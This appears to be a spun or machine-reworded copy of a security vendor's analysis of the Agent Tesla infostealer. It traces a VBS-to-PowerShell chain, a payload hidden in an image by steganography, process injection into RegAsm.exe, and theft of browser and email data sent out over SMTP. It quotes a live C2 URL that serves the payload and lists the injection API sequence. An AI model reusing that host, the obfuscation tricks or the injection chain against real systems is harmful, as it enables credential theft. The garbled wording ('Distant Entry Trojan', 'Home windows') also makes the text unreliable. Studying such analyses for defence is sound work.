Agent Tesla’s Distinctive Method: VBS and Steganography for Supply and Intrusion

Authored by Yashvi Shah

Agent Tesla features as a Distant Entry Trojan (RAT) and an data stealer constructed on the .NET framework. It’s able to recording keystrokes, extracting clipboard content material, and looking out the disk for precious information. The acquired data might be transmitted to its command-and-control server by way of varied channels, together with HTTP(S), SMTP, FTP, and even by a Telegram channel.

Usually, Agent Tesla makes use of misleading emails to contaminate victims, disguising as enterprise inquiries or cargo updates. Opening attachments triggers malware set up, hid by obfuscation. The malware then communicates with a command server to extract compromised information.

The next warmth map reveals the present prevalence of Agent Tesla on area:

Determine 1: Agent Tesla warmth map

McAfee Labs has detected a variation the place Agent Tesla was delivered by VBScript (VBS) information, showcasing a departure from its regular strategies of distribution. VBS information are script information utilized in Home windows for automating duties, configuring programs, and performing varied actions. They may also be misused by cybercriminals to ship malicious code and execute dangerous actions on computer systems.

Technical Evaluation

The examined VBS file executed quite a few PowerShell instructions after which leveraged steganography to carry out course of injection into RegAsm.exe as proven in Determine 2. Regasm.exe is a Home windows command-line utility used to register .NET assemblies as COM elements, permitting interoperability between totally different software program. It may also be exploited by malicious actors for functions like course of injection, doubtlessly enabling covert or unauthorized operations.

Determine 2: An infection Chain

VBS wants scripting hosts like wscript.exe to interpret and execute its code, handle interactions with the consumer, deal with output and errors, and supply a runtime surroundings. When the VBS is executed, wscript invokes the preliminary PowerShell command.

Determine 3: Course of Tree

First PowerShell command

The primary PowerShell command is encoded as illustrated right here:

Determine 4: Encoded First PowerShell

Obfuscating PowerShell instructions serves as a protection mechanism employed by malware authors to make their malicious intentions more durable to detect. This system includes deliberately obfuscating the code by utilizing varied tips, equivalent to encoding, changing characters, or utilizing convoluted syntax. This runtime decoding is finished to cover the true nature of the command from static evaluation instruments that look at the code with out execution. Upon decoding, achieved by substituting occurrences of ‘#@$#’ with ‘A’ and subsequently making use of base64-decoding, we efficiently retrieved the decrypted PowerShell content material as follows:

Determine 5: Decoded content material

Second PowerShell Command

The deciphered content material serves because the parameter handed to the second occasion of PowerShell..

Determine 6: Second PowerShell command

Deconstructing this command line for clearer comprehension:

Determine 7: Disassembled command

Steganography

As noticed, the PowerShell command instructs the obtain of a picture, from the URL that’s strore in variable “imageURL.” The downloaded picture is 3.50 MB in measurement and is displayed beneath:

Determine 8: Downloaded picture

This picture serves because the canvas for steganography, the place attackers have hid their information. This hidden information is extracted and utilized because the PowerShell instructions are executed sequentially. The instructions explicitly point out the presence of two markers, ‘<<BASE64_START>>’ and ‘<<BASE64_END>>’. The size of the information is saved in variable ‘base64Length’. The information enclosed between these markers is saved in ‘base64Command’. The following photos illustrate these markers and the content material encapsulated between them.

Determine 9: Steganography

After acquiring this information, the malware proceeds with decoding procedures. Upon examination, it turns into obvious that the decrypted information is a .NET DLL file. Within the subsequent step, a command is executed to load this DLL file into an meeting.

Determine 10: DLL obtained from steganography

Course of Injection into RegAsm.exe

This DLL serves two functions:

1. Downloading and decoding the ultimate payload
2. Injecting it into RegAsm.exe

Determine 11: DLL loaded

In Determine 11, at marker 1, a parameter named ‘QBXtX’ is utilized to just accept an argument for the given instruction. As we proceed with the ultimate stage of the PowerShell command proven in Determine 7, the sequence unfolds as follows:

$arguments = ,(‘txt.46ezabwenrtsac/42.021.871.591//:ptth’)

The instruction mandates reversing the content material of this parameter and subsequently storing the result within the variable named ‘deal with.’ Upon reversing the argument, it transforms into:

http://195.178.120.24 /castrnewbaze64.txt

Determine 12: Request for payload

Subsequently, it’s evident that this DLL is designed to fetch the talked about textual content file from the C2 server by way of the supplied URL and save its contents throughout the variable named “textual content.” This file is 316 Kb in measurement. The information throughout the file stays in an unreadable or unintelligible format.

Determine 13: Downloaded textual content file

In Determine 11, at marker 2, the contents of the “textual content” variable are reversed and overwritten in the identical variable. Subsequently, at marker 3, the information saved within the “textual content” variable is subjected to base64 decoding. Following this, we decided that the file is a .NET compiled executable.

Determine 14: Ultimate payload

In Determine 11, one other exercise is clear at marker 3, the place the method path for the upcoming course of injection is specified. The designated course of path for the method injection is :

“C:WindowsMicrosoft.NETFrameworkv4.0.30319RegAsm.exe”.

Since RegAsm.exe is a authentic Home windows device, it’s much less prone to elevate suspicion from safety options. Injecting .NET samples into it permits attackers to successfully execute their malicious payload inside a trusted context, making detection and evaluation tougher.

Course of injection includes utilizing Home windows API calls to insert code or a payload into the reminiscence area of a working course of. This enables the injected code to execute throughout the context of the goal course of. Widespread steps embody allocating reminiscence, writing code, making a distant thread, and executing the injected code. On this context, the DLL performs a sequence of API calls to realize course of injection:

Determine 15: Course of Injection

By obscuring the sequence of API calls and their meant actions by obfuscation methods, attackers intention to evade detection and make it more durable for safety researchers to unravel the true conduct of the malicious code. The operate ‘hU0H4qUiSpCA13feW0’ is used for changing content material. For instance,

“kern!”.Change(“!”, “el32”)  à  kernel32

Class1.hU0H4qUiSpCA13feW0(“qllocEx”, “q”, “VirtualA”) à VirtualAllocEx

Consequently, these features translate into the following API calls:

1. CreateProcessA : This API name is usually employed to provoke the creation of a brand new course of, somewhat than for course of injection. Within the context of course of injection, the main focus is mostly on focusing on an current course of and injecting code into it.
2. VirtualAllocEx: That is usually utilized in course of injection to allocate reminiscence throughout the goal course of to host the injected code.
3. ReadProcessMemory: That is used to learn the reminiscence of a goal course of. It’s usually utilized in reflective DLL injection to learn the contents of a DLL from the injector’s reminiscence and write it into the goal course of.
4. GetThreadContext: This API is used to retrieve the context (registers, flags, and so forth.) of a thread inside a goal course of. It’s helpful for modifying thread execution move throughout injection.
5. Wow64GetThreadContext: That is like GetThreadContext, however it’s used when coping with 32-bit processes on a 64-bit system.
6. SetThreadContext: This API is used to set the context of a thread inside a goal course of. This may be helpful for modifying the execution move.
7. Wow64SetThreadContext: Like SetThreadContext, however for 32-bit processes on a 64-bit system.
8. ZwUnmapViewOfSection: That is used to unmap a piece of a course of’s digital deal with area, which may doubtlessly be used to take away a DLL loaded right into a goal course of throughout injection.
9. WriteProcessMemory: That is used to write down information into the reminiscence of a goal course of. It’s generally used for injecting code or information right into a distant course of.
10. ResumeThread: That is used to renew the execution of a suspended thread, usually after modifying its context or injecting code.

Upon profitable injection of the malware into RegAsm.exe, it initiates its meant operations, primarily targeted on information theft from the focused system.

The last word executable is closely obfuscated. It employs an in depth array of change instances and superfluous code, strategically meant to mislead researchers and complicate evaluation. Most of the features make the most of both change instances or their equal constructs, to defend detection. Following snippet of code depicts the identical.

Determine 16: Obfuscation

Assortment of information:

Fingerprinting:

Agent Tesla collects information from compromised units to realize two key aims: firstly, to mark new infections, and secondly, to determine a novel ‘fingerprint’ of the sufferer’s system. The collected information encompasses:

• Laptop Title
• IP data
• Win32_baseboard
• Serial quantity
• win32_processor
• processorID
• Win32_NetworkAdapterConfiguration
• MacAddress

Internet Browsers:

Agent Tesla initiates the method of gathering information from varied internet browsers. It makes use of change instances to deal with totally different browsers, decided by the parameters handed to it. All of those features are closely obscured by obfuscation methods. The next figures depict the browser information that it tried to retrieve.

Determine 17: Opera browser

Determine 18: Yandex browser

Determine 19: Iridium browser

Determine 20: Chromium browser

Equally, it retrieves information from almost all potential browsers. The captured log beneath lists all of the browsers from which it tried to retrieve information:

Determine 21: Consumer information retrieval from all browsers -1

Determine 22: Consumer information retrieval from all browsers – 2

Mail Shoppers:

Agent Tesla is able to stealing varied delicate information from e mail purchasers. This consists of e mail credentials, message content material, contact lists, mail server settings, attachments, cookies, auto-complete information, and message drafts. It may possibly goal a spread of e mail companies to entry and exfiltrate this data. Agent Tesla targets the next e mail purchasers to collect information:

Determine 23: Mail purchasers

Exfiltration:

Agent Tesla employs vital obfuscation methods to evade preliminary static evaluation makes an attempt. This technique conceals its malicious code and precise aims. Upon profitable decoding, we have been in a position to scrutinize its inner operations and functionalities, together with using SMTP for information exfiltration.

The noticed pattern makes use of SMTP as its chosen technique of exfiltration. This protocol is ceaselessly favored on account of its minimal overhead calls for on the attacker. SMTP reduces overhead for attackers as a result of it’s environment friendly, extensively allowed in networks, makes use of current infrastructure, causes minimal anomalies, leverages compromised accounts, and seems much less suspicious in comparison with different protocols. A single compromised e mail account can be utilized for exfiltration, streamlining the method, and minimizing the necessity for advanced setups. They will obtain their malicious objectives with only a single e mail account, simplifying their operations.

Determine 24: Perform calls made for exfiltration.

That is the process by which features are invoked to facilitate information extraction by way of SMTP:

1. A selected worth is supplied as a parameter, and this worth is processed throughout the features. Consequently, it finally determines the port quantity to be utilized for SMTP communication. On this case, port quantity 587 is used for communication.

Determine 25: Port quantity

2. Subsequent, the malware retrieves the hostname of the e-mail deal with it intends to make the most of i.e., corpsa.internet.

Determine 26: Area retrieval

3. Subsequently, the e-mail deal with by which communication is meant to happen is revealed.

Determine 27: E mail deal with used

4. Lastly, the password for that e mail deal with is supplied, in order that attacker can log in and might begin sending out the information.

Determine 28: Password

The SMTP course of as outlined includes a collection of systematic steps. It begins with the processing of a particular parameter worth, which subsequently determines the port quantity for SMTP communication. Following this, the malware retrieves the related area of the meant e mail deal with, revealing the deal with itself and finally offering the corresponding password. This orchestrated sequence highlights how the malware establishes a connection by SMTP, facilitating its meant operations.

Following these steps, the malware effectively establishes a login utilizing acquired credentials. As soon as authenticated, it commences the method of transmitting the harvested information to a chosen e mail deal with related to the malware itself.

Abstract:

The an infection strategy of Agent Tesla includes a number of phases. It begins with the preliminary vector, usually utilizing e mail attachments or different social engineering ways. As soon as executed, the malware employs obfuscation to keep away from detection throughout static evaluation. The malware then undergoes decoding, revealing its true performance. It orchestrates a sequence of PowerShell instructions to obtain and course of a hidden picture containing encoded directions. These directions result in the extraction of a .NET DLL file, which subsequently injects the ultimate payload into the authentic course of ‘RegAsm.exe’ utilizing a collection of API requires course of injection. This payload carries out its objective of information theft, together with focusing on browsers and e mail purchasers for delicate data. The stolen information is exfiltrated by way of SMTP communication, offering stealth and leveraging e mail account. General, Agent Tesla’s an infection course of employs a fancy chain of methods to realize its data-stealing aims.

Indicators of compromise (IoC):

Desk 1:Indicators of Compromise

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